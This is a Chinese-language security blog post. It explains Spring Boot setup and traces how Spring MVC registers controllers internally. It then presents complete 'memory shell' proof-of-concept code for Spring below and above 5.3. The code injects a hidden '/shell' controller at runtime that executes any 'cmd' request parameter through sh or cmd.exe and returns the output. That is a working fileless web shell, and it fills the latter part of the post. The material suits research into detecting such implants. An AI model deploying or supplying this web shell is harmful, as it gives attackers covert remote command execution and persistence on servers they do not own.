关于Spring的一些基础知识放在了Java之Spring基础 之前没了解过Spring的可以稍微看一下
搭建Spring Boot项目
第一种是直接在spring的官网start.spring.io搭建
![image-20260406104908297]()
ADD DEPENDENCIES可以添加依赖,配置好后直接GENERATE导出项目压缩包,解压后直接用IDEA打开工作目录就能用了
另一种是直接在IDEA中创建Spring,其实本质上和在官网搭建没什么区别,可以看到服务器URL也是之前的地址
但是有时候访问比较慢,可以换成阿里云的网站要快些 https://start.aliyun.com/
![image-20260406104758845]()
最后一种的话就是在Maven项目中手动导入依赖了
先创建一个Maven项目,然后编写pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId> <artifactId>SpringMemoryShell</artifactId> <version>1.0-SNAPSHOT</version> <packaging>jar</packaging>
<name>SpringMemoryShell</name> <url>http://maven.apache.org</url>
<properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>17</maven.compiler.source> <maven.compiler.target>17</maven.compiler.target> </properties>
<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>4.0.5</version> </parent>
<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> </dependencies> </project>
|
然后我们写个启动类,注意,这个启动类需要放在指定的包名根目录下
1 2 3 4 5 6 7 8 9 10 11 12
| package com.example;
import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication public class SpringBootStart { public static void main(String[] args) { SpringApplication.run(SpringBootStart.class, args); } }
|
运行main方法
![image-20260406111424627]()
这样就表示我们搭建成功了,接下来就是编写控制器代码和一些处理逻辑代码了,之后启动项目只需要运行该启动类的main方法即可
Spring Boot项目结构
SpringBoot项目必须继承spring-boot-starter-parent,所有的SpringBoot项目都得是spring-boot-starter-parent的子项目。
spring-boot-starter-parent中定义了常用配置、依赖、插件等信息,供SpringBoot项目继承使用。所以后续的一些起步依赖比如spring-boot-starter-web就不需要额外添加版本号了
启动类要放在最外层的包根目录下,因为项目启动后加载文件加载项目都是基于启动类起的根目录开始的
参考:https://cloud.tencent.com/developer/article/2355059
编写一个控制器Controller
基于我Spring基础文章里提到的注解,我们可以手写出一个HelloController
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.example.Controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody;
@Controller public class HelloController {
@ResponseBody @RequestMapping("/hello") public String Hello(){ return "Hello World"; } }
|
ResponseBody注解的作用是将方法的返回值直接写入 HTTP 响应体,如果没有这个注解,则会去 templates/ 目录下找和返回值同名html文件进行渲染
启动后访问hello路由
![image-20260406112635049]()
Spring Controller代码分析
我这里调试是用的Spring-webmvc-7.0.6
和Servlet一样,Spring MVC可以在运行时动态添加Controller,回顾一下Servlet,在动态注册Servlet的时候需要两个东西:Servlet对象本身和ServletMapping路径映射,同样的,在Spring中注册Controller也需要两个东西::Controller对象本身和RequestMapping路径映射
Controller注册流程分析
Spring MVC在初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。
看到RequestMappingHandlerMapping#afterPropertiesSet()
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public void afterPropertiesSet() { this.config = new RequestMappingInfo.BuilderConfiguration(); this.config.setContentNegotiationManager(getContentNegotiationManager()); this.config.setApiVersionStrategy(getApiVersionStrategy());
if (getPatternParser() != null) { this.config.setPatternParser(getPatternParser()); } else { this.config.setPathMatcher(getPathMatcher()); }
super.afterPropertiesSet(); }
|
初始化一个配置类RequestMappingInfo.BuilderConfiguration,随后调用父类的afterPropertiesSet方法,也就是AbstractHandlerMethodMapping#afterPropertiesSet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| @Override public void afterPropertiesSet() { initHandlerMethods(); }
protected void initHandlerMethods() { for (String beanName : getCandidateBeanNames()) { if (!beanName.startsWith(SCOPED_TARGET_NAME_PREFIX)) { processCandidateBean(beanName); } } handlerMethodsInitialized(getHandlerMethods()); }
|
这个方法调用了 initHandlerMethods 方法
initHandlerMethods处理逻辑
在org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#initHandlerMethods处打上断点
![image-20260406123945245]()
通过getCandidateBeanNames()方法获取到所有的 Bean并遍历,找出其中的请求处理方法并注册。跟进processCandidateBean方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected void processCandidateBean(String beanName) { Class<?> beanType = null; try { beanType = obtainApplicationContext().getType(beanName); } catch (Throwable ex) { if (logger.isTraceEnabled()) { logger.trace("Could not resolve type for bean '" + beanName + "'", ex); } } if (beanType != null && isHandler(beanType)) { detectHandlerMethods(beanName); } }
|
isHandler 方法判断当前 bean 定义是否带有 Controller 或 RequestMapping 注解。
![image-20260406125002110]()
由于我的webmvc是7.x版本,Spring 7.x 的 RequestMappingHandlerMapping 现在专注于处理 @RequestMapping 和 @HttpExchange 注解,但这些注解必须在 @Controller 类中使用。所以这里isHandler方法只检查Controller 注解,而关于RequestMapping 的注解放在了detectHandlerMethods方法中
关键逻辑detectHandlerMethods
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| protected void detectHandlerMethods(Object handler) { Class<?> handlerType = (handler instanceof String beanName ? obtainApplicationContext().getType(beanName) : handler.getClass());
if (handlerType != null) { Class<?> userType = ClassUtils.getUserClass(handlerType); Map<Method, T> methods = MethodIntrospector.selectMethods(userType, (MethodIntrospector.MetadataLookup<T>) method -> { try { return getMappingForMethod(method, userType); } catch (Throwable ex) { throw new IllegalStateException("Invalid mapping on handler class [" + userType.getName() + "]: " + method, ex); } }); if (logger.isTraceEnabled()) { logger.trace(formatMappings(userType, methods)); } else if (mappingsLogger.isDebugEnabled()) { mappingsLogger.debug(formatMappings(userType, methods)); } methods.forEach((method, mapping) -> { Method invocableMethod = AopUtils.selectInvocableMethod(method, userType); registerHandlerMethod(handler, invocableMethod, mapping); }); } }
|
这部分有两个关键功能,一个是 getMappingForMethod 方法根据 handler method 创建RequestMappingInfo 对象,一个是 registerHandlerMethod 方法将 handler method 与RequestMappingInfo 进行相关映射。
RequestMappingInfo创建
跟进getMappingForMethod方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| @Override protected @Nullable RequestMappingInfo getMappingForMethod(Method method, Class<?> handlerType) { validateCglibProxyMethodVisibility(method, handlerType);
RequestMappingInfo info = createRequestMappingInfo(method); if (info != null) { RequestMappingInfo typeInfo = createRequestMappingInfo(handlerType); if (typeInfo != null) { info = typeInfo.combine(info); } if (info.isEmptyMapping()) { info = info.mutate().paths("", "/").options(this.config).build(); } String prefix = getPathPrefix(handlerType); if (prefix != null) { info = RequestMappingInfo.paths(prefix).options(this.config).build().combine(info); } } return info; }
|
调用createRequestMappingInfo方法获取一个RequestMappingInfo对象,跟进看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| private @Nullable RequestMappingInfo createRequestMappingInfo(AnnotatedElement element) {
List<AnnotationDescriptor> descriptors = MergedAnnotations.from(element, SearchStrategy.TYPE_HIERARCHY, RepeatableContainers.none()) .stream() .filter(MergedAnnotationPredicates.typeIn(RequestMapping.class, HttpExchange.class)) .filter(MergedAnnotationPredicates.firstRunOf(MergedAnnotation::getAggregateIndex)) .map(AnnotationDescriptor::new) .distinct() .toList();
RequestMappingInfo info = null; RequestCondition<?> customCondition = (element instanceof Class<?> clazz ? getCustomTypeCondition(clazz) : getCustomMethodCondition((Method) element));
List<AnnotationDescriptor> mappingDescriptors = descriptors.stream().filter(desc -> desc.annotation instanceof RequestMapping).toList();
if (!mappingDescriptors.isEmpty()) { checkMultipleAnnotations(element, mappingDescriptors); info = createRequestMappingInfo((RequestMapping) mappingDescriptors.get(0).annotation, customCondition); }
List<AnnotationDescriptor> exchangeDescriptors = descriptors.stream().filter(desc -> desc.annotation instanceof HttpExchange).toList();
if (!exchangeDescriptors.isEmpty()) { checkMultipleAnnotations(element, info, mappingDescriptors, exchangeDescriptors); info = createRequestMappingInfo((HttpExchange) exchangeDescriptors.get(0).annotation, customCondition); }
if (info != null && getApiVersionStrategy() instanceof DefaultApiVersionStrategy davs) { String version = info.getVersionCondition().getVersion(); if (version != null) { davs.addMappedVersion(version); } }
return info; }
|
扫描所有注解,包括父类和接口上的注解,.filter(MergedAnnotationPredicates.typeIn(RequestMapping.class, HttpExchange.class))保留了@RequestMapping 和 @HttpExchange注解
![image-20260406130044289]()
后面就是处理@RequestMapping和@HttpExchange的逻辑了
getMappingForMethod方法中info = info.mutate().paths("", "/").options(this.config).build();是一种Builder 模式,后面写内存马能用到
回到detectHandlerMethods方法
![image-20260406130749440]()
看看最后的Map是什么样的
![image-20260406130833814]()
key就是一个Method对象,指向Bean对象中的方法,value就是一个RequestMappinginfo对象,其中包含一个路径参数pathPatternsCondition中
registerHandlerMethod添加映射
detectHandlerMethods最后调用registerHandlerMethod方法添加路径映射并注册到路由表中
1 2 3
| protected void registerHandlerMethod(Object handler, Method method, T mapping) { this.mappingRegistry.register(mapping, handler, method); }
|
跟进看看mappingRegistry.register方法
![image-20260406132105405]()
将传入的RequestMappingInfo对象、handler名称和对应的method方法进行映射和包装处理并添加
相关属性存储如下:
![image-20260406132326645]()
到这里全部的注册流程就走完了
动态注入Controller
主要是两点
第一个是RequestMappingHandlerMapping的获取
根据上面的分析可以看到,主要是通过最后的AbstractHandlerMethodMapping类中registerHandlerMethod方法的this.mappingRegistry.register去进行动态注册的,回溯一下可以看到registerHandlerMethod方法的上层 调用是在RequestMappingHandlerMapping#registerHandlerMethod
1 2 3 4
| protected void registerHandlerMethod(Object handler, Method method, RequestMappingInfo mapping) { super.registerHandlerMethod(handler, method, mapping); updateConsumesCondition(mapping, method); }
|
所以我们需要找到Spring中的RequestMappingHandlerMapping对象实例,才能进行动态注册
而RequestMappingHandlerMapping对象本身是spring来管理的,可以通过ApplicationContext获取到
不过比register方法更方便的是直接调用RequestMappingHandlerMapping#registerMapping
1 2 3 4 5 6 7
| public void registerMapping(T mapping, Object handler, Method method) { if (this.logger.isTraceEnabled()) { this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString()); }
this.mappingRegistry.register(mapping, handler, method); }
|
这里会自动调用mappingRegistry.register,后面就是基于这个去写的
第二个是RequestMappingInfo对象的内容
其实这个前面有提到过,但是由于我的控制器代码写的很简单,没有用到其他的注解例如@GetMapping,正常的RequestMappingInfo对象有三个比较重要的参数
1 2 3
| patternsCondition:对应的请求地址 handlerMethod:对应的请求方法 methodsCondition :对应的请求方式
|
注意:springboot 2.6.x之后的版本是pathPatternsCondition而不是patternsCondition,比如我上面截图中就是pathPatternsCondition
所以最终动态注册的流程是:
- 获取
WebApplicationContext
- 获取
RequestMappingHandlerMapping 实例
- 通过反射获取自定义
Controller 的恶意方法的 Method 对象
- 定义
RequestMappingInfo
- 动态注册
Controller
WebApplicationContext如何获取
参考师傅的文章中给出了五种获取的方法:https://github.com/dota-st/JavaSec/blob/master/05-%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%93%E5%8C%BA/4-Spring%E5%86%85%E5%AD%98%E9%A9%AC%E4%B9%8BController/Controller%E5%86%85%E5%AD%98%E9%A9%AC.md
1.getCurrentWebApplicationContext
1
| WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
|
2.WebApplicationContextUtils
1
| WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
|
这里WebApplicationContextUtils.getWebApplicationContext()也可以替换成WebApplicationContextUtils.getRequiredWebApplicationContext()
3.RequestContextUtils
通过ServletRequest 类的实例来获得 Child WebApplicationContext。
1
| WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
|
函数原型为 public static WebApplicationContext getWebApplicationContext(ServletRequest request) (spring 3.1 中findWebApplicationContext需要换成getWebApplicationContext )
4.getAttribute
1
| WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
|
其中currentRequestAttributes()替换成getRequestAttributes()也同样有效;getAttribute参数中的 0 代表从当前 request 中获取而不是从当前的 session中 获取属性值。
5.LiveBeansView(>=3.2.x)
1 2 3 4 5 6
| java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
|
基于上面的分析可以给出一个动态注册poc
动态注册poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(requestMappingHandlerMapping); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).options(config).build(); InjectedController injectedController = new InjectedController(); requestMappingHandlerMapping.registerMapping(requestMappingInfo, injectedController, method);
|
最后InjectedController就是我们需要动态注册的Controller,method就是需要注册的方法
Spring<5.3的Controller内存马
在<2.6.0版本的Spring中可以直接new一个RequestMappingInfo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package com.example.Controller;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner;
@RestController public class MemshellController { @RequestMapping("/inject_before_2.6.0") public String inject2() throws Exception{ String path = "/shell"; WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = InjectedController.class.getMethod("cmd"); PatternsRequestCondition urlPattern = new PatternsRequestCondition(path); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo requestMappingInfo = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null); InjectedController injectedController = new InjectedController(); requestMappingHandlerMapping.registerMapping(requestMappingInfo, injectedController, method); return "Inject successful"; } public static class InjectedController { public InjectedController() {
} public void cmd() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); response.setCharacterEncoding("GBK"); if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } } }
|
Spring>=5.3的Controller内存马
因为 Spring 5.3 之后 RequestMappingInfo 的构造函数被废弃了,直接 new RequestMappingInfo(...) 的方式在新版本会失效或报错。新版本推荐使用 Builder 模式,但 Builder 需要传入一个 BuilderConfiguration 对象来保持与当前 HandlerMapping 的配置一致(比如路径匹配策略),而这个对象是 RequestMappingHandlerMapping 的私有字段,只能通过反射拿到。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| package com.example.Controller;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner;
@RestController public class MemshellController {
@RequestMapping("/inject_after_2.6.0") public String inject() throws Exception { String path = "/shell"; WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(requestMappingHandlerMapping); Method method = InjectedController.class.getMethod("cmd"); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).options(config).build(); InjectedController injectedController = new InjectedController(); requestMappingHandlerMapping.registerMapping(requestMappingInfo, injectedController, method); return "Inject successful"; }
@RequestMapping("/inject") public static class InjectedController { public InjectedController() {
} public void cmd() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); response.setCharacterEncoding("GBK"); if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } } }
|
启动Spring并访问inject路由就可以成功注入内存马了
参考文章:
https://su18.org/post/memory-shell/#spring-controller-%E5%86%85%E5%AD%98%E9%A9%AC
https://nlrvana.github.io/spring-mvc%E6%A1%86%E6%9E%B6%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/#springboot--260-1
https://github.com/dota-st/JavaSec/blob/master/05-%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%93%E5%8C%BA/4-Spring%E5%86%85%E5%AD%98%E9%A9%AC%E4%B9%8BController/Controller%E5%86%85%E5%AD%98%E9%A9%AC.md
https://www.cnblogs.com/zpchcbd/p/15544419.html
https://blog.csdn.net/ywg_1994/article/details/112800703
https://cloud.tencent.com/developer/article/2355059